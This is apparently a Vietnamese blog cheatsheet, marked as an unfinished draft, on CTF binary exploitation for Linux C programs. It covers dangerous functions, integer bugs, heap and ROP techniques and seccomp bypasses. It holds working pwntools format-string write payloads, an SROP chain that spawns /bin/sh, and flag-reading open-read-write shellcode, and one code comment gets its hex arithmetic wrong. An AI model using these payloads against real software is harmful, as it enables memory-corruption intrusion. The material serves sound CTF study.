PWN Cheatsheet

Complete binary exploitation reference for CTF - from dangerous functions to advanced exploitation techniques (C - Userland - Linux)

December 30, 2025 December 13, 2025 Info

Dangerous Sinks

Input

HàmChức năngHành vi dừng & kết thúcNguy hiểm vìMức độ
gets()Đọc input từ stdinDừng khi gặp \n hoặc EOF, thay \n bằng \0Không kiểm tra buffer size, buffer overflow 100%Critical
scanf("%s")Đọc chuỗi từ stdinDừng khi gặp whitespace (\n, space, \t), thêm \0 vào cuốiKhông giới hạn độ dài, buffer overflowCritical
scanf("%[^\n]")Đọc đến newlineDừng khi gặp \n, thêm \0, không consume \nKhông giới hạn độ dài, buffer overflowCritical
read()Đọc n bytes từ fdDừng khi đủ n bytes hoặc EOF, không thêm \0Không thêm null terminator, off-by-one nếu dùng như stringHigh
fgets()Đọc tối đa n-1 bytesDừng khi đủ n-1 bytes, gặp \n, hoặc EOF, thêm \0, giữ \n nếu cóAn toàn hơn nhưng có thể off-by-one nếu tính sai sizeMedium
getchar()/fgetc()Đọc 1 ký tựTrả về 1 ký tự hoặc EOFCần kiểm tra EOF, có thể tràn nếu loop không đúngMedium

String copy/manipulation

HàmChức năngHành vi dừng & kết thúcNguy hiểm vìMức độ
strcpy()Copy chuỗiDừng khi gặp \0 trong src, thêm \0 vào destKhông kiểm tra dest size, buffer overflowCritical
strcat()Nối chuỗiTìm \0 trong dest, copy src đến đó, dừng khi gặp \0 trong srcKhông kiểm tra dest size, buffer overflowCritical
sprintf()Format vào bufferDừng khi format xong, thêm \0Không kiểm tra buffer size, buffer overflow + format stringCritical
vsprintf()sprintf với va_listDừng khi format xong, thêm \0Không kiểm tra buffer size, buffer overflow + format stringCritical
strncpy()Copy tối đa n bytesDừng khi đủ n bytes hoặc gặp \0, chỉ thêm \0 nếu src ngắn hơn nKhông đảm bảo null-terminate nếu src >= n bytesHigh
strncat()Nối tối đa n bytesTìm \0 dest, copy n bytes từ src, luôn thêm \0Off-by-one: thêm \0 ngoài n bytesHigh
memcpy()Copy n bytesCopy đúng n bytes, không thêm \0, không dừng ở \0Không kiểm tra overlap, không null-terminateMedium
memmove()Copy n bytes (safe overlap)Copy đúng n bytes, không thêm \0, xử lý overlapKhông null-terminateMedium
snprintf()Format vào buffer với limitDừng khi đủ n-1 bytes hoặc format xong, thêm \0Format string bugs, trả về số bytes “cần” (không phải đã ghi)Medium

String length/search

HàmChức năngHành vi dừngNguy hiểm vìMức độ
strlen()Đếm độ dàiDừng khi gặp \0Không kiểm tra buffer boundary, crash nếu không có \0High
strtok()Tokenize stringDừng khi gặp delimiter, thay delimiter bằng \0Modify input string, static internal state (not thread-safe)Medium
strstr()Tìm substringDừng khi gặp \0Crash nếu strings không null-terminatedMedium

Output

HàmChức năngHành vi dừngNguy hiểm vìMức độ
printf(user_input)Format outputFormat theo format stringFormat string attack: leak/write arbitrary memoryCritical
fprintf(fp, user_input)Format output to fileFormat theo format stringFormat string attackCritical
puts()In chuỗi + newlineIn đến \0, tự động thêm \nAn toàn cho output nhưng có thể leak data nếu không có \0Low
write()Ghi n bytesGhi đúng n bytes, không dừng ở \0An toàn cho output, nhưng có thể leak nếu n > actual dataLow

Format string

HàmFormat specifiers nguy hiểmNguy hiểm vìMức độ
printf/fprintf/sprintf%n, %hn, %hhnGhi giá trị vào địa chỉ trên stackCritical
%x, %p, %sLeak stack/heap/memory contentsCritical
%<number>$xDirect parameter access, bypass stackCritical

Format Specifiers

SpecifierMục ĐíchCách Hoạt ĐộngNguy Cơ
%xLeak giá trị hexĐọc giá trị trên stack, output: 4008978eAn toàn, không crash
%pLeak địa chỉĐọc giá trị trên stack, output: 0x4008978eAn toàn, format pointer
%sĐọc chuỗiDereference địa chỉ trên stack, in chuỗiCrash nếu địa chỉ invalid
%nGhi số bytesGhi tổng bytes đã in vào địa chỉWrite primitive

Arbitrary Read

# Đọc tại địa chỉ 0x080456AB
payload = p32(0x080456AB) + "%7$s"

# Leak stack values
payload = "AAAA%7$p %8$p %9$p"

Lưu ý: %s đọc đến null byte, có thể crash nếu địa chỉ không readable.

Arbitrary Write

Thủ công:

# Ghi 0x1337 vào 0x08049794
payload = p32(0x08049794) + "%4919c%7$n"
# 4919 + 4 = 4923 = 0x1337 (decimal)

# Ghi byte-by-byte với %hhn
addr = p32(0x08049794)
payload = addr + "%221c%7$hhn"  # Ghi 0xDD (221+4=225=0xDD)

fmtstr_payload()

from pwn import *

# Syntax cơ bản
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

# Ví dụ: Ghi 0xdeadbeef vào 0x0804a048
writes = {0x0804a048: 0xdeadbeef}
payload = fmtstr_payload(6, writes)

# Ghi nhiều địa chỉ
writes = {
    0x0804a048: 0xdeadbeef,
    0x0804a04c: 0x1337babe
}
payload = fmtstr_payload(6, writes, numbwritten=8)

Tham số quan trọng:

  • offset: Vị trí format string đầu tiên bạn kiểm soát (tìm bằng AAAA%7$p)
  • numbwritten: Số bytes đã in trước payload (ví dụ: "Enter: " = 7 bytes)
  • write_size: 'byte' (1 byte/lần, ngắn), 'short' (2 bytes), 'int' (4 bytes, dài)

Memory allocation/management

HàmChức năngNguy hiểm vìMức độ
alloca()Allocate trên stackKhông kiểm tra stack space, stack overflowCritical
malloc(user_size)Allocate heapInteger overflow trong size, heap overflow sau đóHigh
realloc()Resize allocationUse-after-free nếu fail, pointer invalidationHigh
free()Giải phóng memoryDouble-free, use-after-free bugsCritical

System/execution

HàmChức năngNguy hiểm vìMức độ
system(user_input)Execute shell commandCommand injection, RCECritical
exec*() familyExecute programCommand injection nếu dùng shellCritical
popen()Execute command + pipeCommand injectionCritical
dlopen()/dlsym()Load shared libraryLoad arbitrary .so, code executionCritical

File operations

HàmChức năngNguy hiểm vìMức độ
open() với O_CREATTạo fileRace condition (TOCTOU), arbitrary file writeHigh
fopen(user_path)Mở filePath traversal, arbitrary file read/writeHigh
chmod()/chown()Đổi permissionsRace condition, privilege escalationHigh

Integer vulnerabilities

Loại lỗiPattern codeInput/Điều kiệnKết quảExploitMức độ
Integer OverflowUnsigned: size_t len = a + b;
malloc(len);

Signed: int total = count * size;
malloc(total);
Unsigned: a = 0xFFFFFFFF, b = 1

Signed: count = 0x40000000, size = 4
Unsigned: len = 0

Signed: total = 0 (wrap)
Allocate 0 bytes → heap overflowCritical
Integer UnderflowUnsigned: size_t remaining = len - offset;
memcpy(buf, src, remaining);

Signed: int space = bufsize - used;
if(space > 0) read(fd, buf, space);
Unsigned: len = 10, offset = 20

Signed: used = -10, bufsize = 100
Unsigned: remaining = 0xFFFFFFF6 (huge)

Signed: space = 110
Copy massive amount hoặc bypass check → overflowCritical
Sign ConfusionDirect cast: void process(int size)
malloc(size);

Bypass check: if(size < MAX) malloc(size); với sizeint
size = -1Direct: malloc(0xFFFFFFFF) → fail/huge

Bypass: -1 < MAX → pass, cast thành unsigned huge
Allocate fail → NULL deref hoặc bypass checkCritical
Type TruncationDowncast: size_t len = strlen(s);
int n = len;

Width mismatch: unsigned long len;
read(0, &len, 8);
char buf[len];
Downcast: len = 0x100000001

Width: len = 0x1FFFFFFFF
Downcast: n = 1

Width (32-bit): buf[0xFFFFFFFF]
Dùng truncated value → undersize buffer/stack overflowCritical
Width Confusionuint32_t a; uint64_t b;
b = a * 1000;
a = 5000000Overflow trong multiply trước castSilent overflowHigh
Off-by-one via Underflowfor(i = len-1; i >= 0; i--) với size_t ilen = 0i = 0xFFFFFFFF (never stop)Infinite loop, OOB accessHigh

C Data Type Ranges

Kiểu dữ liệuSố byteGiá trị nhỏ nhấtGiá trị lớn nhất
signed char1-128127
unsigned char10255
short int, signed short int2-3276832767
unsigned short int2065535
int, signed int, long int, signed long int4-21474836482147483647
unsigned int, unsigned long int404294967295
long long int, signed long long int8-92233720368547758089223372036854775807
unsigned long long int8018446744073709551615
float41.2E-383.4E+38
double82.3E-3081.7E+308
long double10-163.4E-49321.1E+4932

objdump & readelf

objdump

Disassemble:

  • objdump -d binary - Disassemble toàn bộ
  • objdump -d binary -M intel - Cú pháp Intel[1]
  • objdump -d -j .plt binary - Chỉ xem PLT

Symbols:

  • objdump -t binary - Xem symbols (tìm hidden functions)
  • objdump -T binary - Dynamic symbols
  • objdump -tT libc.so | grep system - Tìm offset trong libc [2]

Strings & sections:

  • objdump -s binary - Dump hex của sections
  • objdump -s -j .rodata binary - Xem string constants

readelf

File info:

  • readelf -h binary - Header (architecture, entry point)
  • readelf -l binary - Program headers (check NX, PIE)[3]
  • readelf -S binary - Section headers (.text, .data, .bss)

Symbols:

  • readelf -s binary - Symbol table
  • readelf --dyn-syms binary - Dynamic symbols (PLT/GOT)[1]

Relocation:

  • readelf -r binary - Relocation entries (GOT addresses)

Exploitation Techniques

Initial checklist

Checklist:

  • Libc version → offsets, heap mechanics; Libc GOT overwrite (glibc < 2.39)
  • Seccomp → xác định syscalls bị chặn
  • NX disabled → có thể dùng shellcode
  • PIE disabled + Partial RELRO → GOT overwrite
  • PIE enabled → cần leak binary base (trên stack)
  • Full RELRO → GOT read-only, không có GOT overwrite
  • Static binary → khó phân tích (binary lớn), không có GOT/PLT, không cần leak libc
  • No canary found → Có thể stack overflow, return address overwrite, hay stack pivot.

Information leaking

Chung: Overread qua output functions (puts, printf, write) để leak data từ stack/heap (có thể cần overflow trước).

Libc leak

  • Unsorted bin/Smallbin: UAF hoặc uninitialized allocate → fd/bk pointer trỏ về main_arena
  • Heap overflow: overflow để leak unsorted bin pointers
  • GOT entry: leak địa chỉ hàm đã được resolve (puts, printf, read,…)
  • Format string: %s để đọc GOT entry hoặc libc addresses từ stack
  • Overread: vùng có libc addresses (stack, GOT, heap)

Xác định libc version: Leak nhiều hàm từ GOT, tra libc database (https://libc.rip/)

Heap leak

  • Tcache/Fastbin UAF: fd pointer trỏ đến chunk tiếp theo (glibc ≥ 2.26)
  • Largebin: fd_nextsize/bk_nextsize chứa heap addresses
  • Uninitialized allocate: malloc không zero memory
  • Heap overflow: đọc metadata chunk khác
  • Format string: leak heap pointer từ stack
  • Overread: vùng có heap pointers

Stack leak

  • Format string: %p hoặc %x để leak stack values
  • __environ: pointer → environ trên stack → tính stack address
  • Stack overflow: overread để leak data
  • Overread: vùng có stack addresses, canary, return address

PIE leak

  • Format string: leak return address hoặc function pointer từ stack
  • __environ → AAR: đọc return address trên stack
  • Function pointer: leak địa chỉ hàm từ GOT/BSS
  • Heap overflow: leak function pointer nếu có trên heap
  • Overread: vùng có PIE-relative addresses

Canary leak

  • Format string: canary thường ở stack offset cố định
  • Stack overflow: overread để leak canary
  • __environ → AAR: đọc canary từ stack
  • TLS manipulation: ghi vào TLS section để overwrite canary

Arbitrary read/write

Arbitrary Address Write

  • Format string: %n để ghi
  • Tcache poisoning: overwrite tcache->next → malloc trả về địa chỉ bất kỳ
  • Fastbin attack: overwrite fd, cần fake size hoặc fill tcache
  • Unsorted bin attack: ghi main_arena address qua bk pointer
  • Heap overflow: overwrite metadata để control allocation
  • OOB: array index không check bound
  • FSOP: manipulate FILE structure

Arbitrary Address Read

  • Format string: %s với địa chỉ trên stack
  • Tcache/Fastbin control: allocate tại địa chỉ muốn đọc
  • Heap overflow: đọc metadata chunk khác
  • OOB: đọc ngoài bound
  • FSOP: manipulate FILE structure

Code execution

Shellcode (NX disabled)

  • Ghi shellcode lên stack/heap/bss (vùng có quyền X)
  • Nhảy đến shellcode qua return address/GOT overwrite
  • Shellcode staging: shellcode nhỏ đọc shellcode lớn
  • Lưu ý: kiểm tra seccomp (có thể cần ORW thay execve), shellcode có thể chứa null

ROP

  • Stack alignment: RSP align 16 bytes trước call
  • RBP: cần hợp lệ (không null/invalid)
  • Register control: control đủ registers cho function call
  • Stack pivoting: pivot RSP đến BSS/heap/GOT

SROP

  • SROP: rt_sigreturn để set toàn bộ registers

Điều kiện cần:

  • Có gadget syscall (hoặc int 0x80 trên x86).
  • Điều khiển được stack (buffer overflow) để đặt sigreturn frame.
  • Gây được syscall rt_sigreturn:
    • amd64: rax = 15, rồi syscall.
    • i386: eax = 0x77, rồi int 0x80.

Flow cơ bản:

  1. Overflow return address → nhảy tới gadget syscall; ret (hoặc chỉ syscall).
  2. Trước đó, set rax = 15 để syscall thành rt_sigreturn.
  3. Ngay sau return address trên stack là SigreturnFrame giả.
  4. sigreturn đọc frame từ stack → set hết register theo frame.
  5. Trong frame đặt:
    • rax = 59 (sys_execve)
    • rdi = &"/bin/sh"
    • rsi = 0, rdx = 0
    • rip = addr_syscall (để sau khi restore xong thì gọi syscall thật sự).
from pwn import *

frame = SigreturnFrame()      # context.arch = 'amd64'
frame.rax = 59                # execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr      # chỗ có instruction syscall

payload  = b'A' * offset
payload += p64(pop_rax) + p64(15)      # rt_sigreturn
payload += p64(syscall_addr)           # trigger sigreturn
payload += bytes(frame)                # fake frame

p.send(payload)

Khi nào nên dùng SROP?

  • Ít gadget, ROP khó build.
  • Cần set nhiều register 1 lúc.
  • syscall nhưng thiếu pop rdi; pop rsi; pop rdx; ret các kiểu.

One-gadget / Magic gadget

  • Kiểm tra constraints trước dùng (có thể cần ROP setup)
  • Stack alignment vẫn critical
  • Tiện nhưng thiếu ổn định, trên remote chưa chắc đã chạy được vì phụ thuộc context.

System() call

  • Overwrite GOT: hàm control được (puts, printf, setvbuf) → system
  • Setup RDI: “/bin/sh” (có trong libc) <- controlled buffer hoặc stdout,in,err
  • Stack alignment 16 bytes: critical, có thể cần RBP hợp lệ

Hooks (glibc ≤ 2.34)

  • Function pointers: __malloc_hook, __free_hook, __realloc_hook
  • Leak libc → overwrite hook → trigger malloc/free/realloc

FSOP (File Stream Oriented Programming)

  • Manipulate _IO_FILE structure
  • Trigger qua exit(), fclose(), overflow
  • _IO_vtable_check bypass (modern glibc)
  • House of Apple/Kiwi: modern FSOP techniques

Libc GOT Overwrite

https://github.com/n132/Libc-GOT-Hijacking

Heap exploitation

Tcache (glibc ≥ 2.26)

  • Tcache poisoning: overwrite fd → malloc return arbitrary address
  • Tcache dup: double free (glibc < 2.29 không check)
  • Tcache key bypass: overwrite key field để bypass double-free check (glibc ≥ 2.29)
  • Struct location: heap_base + 0x10

Fastbin

  • Fill tcache: để chunk free vào fastbin
  • Fastbin attack: overwrite fd, cần fake size
  • Fastbin dup: double free → allocate cùng chunk 2 lần
  • House of Spirit: fake chunk (stack) → free() → allocate

Unsorted bin / Smallbin / Largebin

  • Fake chunk: fake size để free vào bin (lưu ý prev_inuse chunk sau)
  • Unsorted bin attack: ghi main_arena+offset qua bk pointer (dùng để leak/AAW)
  • Largebin attack: overwrite fd_nextsize → arbitrary write
  • House of Einherjar: consolidate qua fake prev_size

House of techniques

https://github.com/shellphish/how2heap

Lưu ý

  • Alignment 16 bytes (64-bit): Tất cả bins (tcache, small, large, unsorted, fast) - địa chỉ trả về chia hết cho 16, kích thước chunk là bội số 16
  • Tạo padding chunk (rào chắn top chunk) tránh merge khi free
  • Unsorted bin attack corrupt list → chỉ dùng 1 lần
  • Safe-linking (glibc ≥ 2.32): fd được mangle (chunk_addr >> 12) ^ real_fd → cần heap leak để decode/encode

Advanced techniques

Race condition

  • TOCTOU (Time-of-Check-Time-of-Use): Check lúc A nhưng sử dụng lúc B → race thay đổi giữa 2 lúc
  • Shared variable: Nhiều thread dùng chung biến toàn cục → data race → corruption
  • Exploit: Tạo nhiều threads để race condition

Seccomp bypass (alternative syscalls)

Mục đíchSyscall chínhSyscall thay thếGhi chú
Mở fileopenopenat, creat, open_by_handle_atopenat linh hoạt hơn với dirfd
Đọc filereadreadv, pread64, preadv, preadv2preadv đọc từ offset cụ thể
Ghi filewritewritev, pwrite64, pwritev, pwritev2writev ghi nhiều buffer cùng lúc
Đóng filecloseclose_rangeclose_range đóng nhiều fd cùng lúc
Spawn shellexecveexecveatexecveat cho phép exec từ fd
Tạo processforkclone, clone3, vforkclone linh hoạt hơn fork
Copy dataread + writesendfile, splice, copy_file_rangeTransfer trực tiếp giữa fd
Quản lý memorymmapmmap2, mremap, remap_file_pagesmprotect để thay đổi permission
Lấy thông tin filestatfstat, lstat, newfstatat, statxstatx là version mới nhất
Thay đổi directorychdirfchdirfchdir dùng fd thay vì path
Đổi tên/di chuyểnrenamerenameat, renameat2renameat2 có thêm flags
Xóa fileunlinkunlinkatunlinkat có thể xóa cả directory
Tạo directorymkdirmkdiratmkdirat relative to dirfd
Socket operationssocket, connectsocketpair, accept, accept4Để network communication
Đọc directorygetdentsgetdents64List files trong directory

Partial overwrite

  • Overwrite 1-2 byte cuối để nhảy đến địa chỉ gần
  • Dùng khi không đủ overflow
  • Có thể cần brute-force ASLR

Stack pivoting

Dùng leave; ret gadget để pivot RSP đến GOT/BSS/heap

Sau khi pivot:

  • Tiếp tục ROP chain: dùng gadgets từ vùng mới để gọi functions, setup registers
  • Thực thi shellcode: nếu pivot đến heap/BSS có shellcode sẵn sàng

RWX segment creation

  • mprotect(addr, len, PROT_READ|PROT_WRITE|PROT_EXEC) qua ROP
  • mmap(NULL, size, PROT_READ|PROT_WRITE|PROT_EXEC, ...)
  • Compile với -z execstack (rare)

TLS/Thread manipulation

  • Malloc large size (>0x21000): mmap ngay trước TLS → heap overflow, hay OOB để:
  • Leak/Overwrite TLS: main canary, master canary, tcache perthread struct, stack guard

Random number prediction

  • Predict random() output
  • Overwrite seed trong memory
  • Predict dùng ctype functions
  • Time-based seed: brute-force time()

ORW Shellcode

64-bit (x86-64) - ./flag

xor rax, rax
push rax
push 0x67616c66
mov rdi, 0x2f2e
push rdi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x100
syscall

mov dl, al
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall

64-bit (x86-64) - /flag

xor rax, rax
push rax
push 0x67616c66
mov rdi, 0x2f
push rdi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x100
syscall

mov dl, al
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall

32-bit (x86) - ./flag

xor ecx, ecx
push ecx
push 0x67616c66
push 0x2f2e
mov ebx, esp
xor eax, eax
mov al, 5
int 0x80

mov ebx, eax
xor eax, eax
mov al, 3
mov ecx, esp
mov dl, 0x100
int 0x80

xor ebx, ebx
inc ebx
mov ecx, esp
mov dl, al
mov al, 4
int 0x80

32-bit (x86) - /flag

xor ecx, ecx
push ecx
push 0x67616c66
push 0x2f
mov ebx, esp
xor eax, eax
mov al, 5
int 0x80

mov ebx, eax
xor eax, eax
mov al, 3
mov ecx, esp
mov dl, 0x100
int 0x80

xor ebx, ebx
inc ebx
mov ecx, esp
mov dl, al
mov al, 4
int 0x80
from pwn import *
context.arch = 'amd64'

shellcode = asm("""
xor rax, rax
push rax
push 0x67616c66
mov rdi, 0x2f2e
push rdi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x100
syscall
mov dl, al
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
""")

p.send(shellcode)

Lưu ý:

  • 64-bit syscalls: open=2, read=0, write=1
  • 32-bit syscalls: open=5, read=3, write=4
  • “./flag” = 0x2e2f + “flag” (little-endian)
  • “/flag” = 0x2f + “flag”
⚠️ Draft: The post is still being written...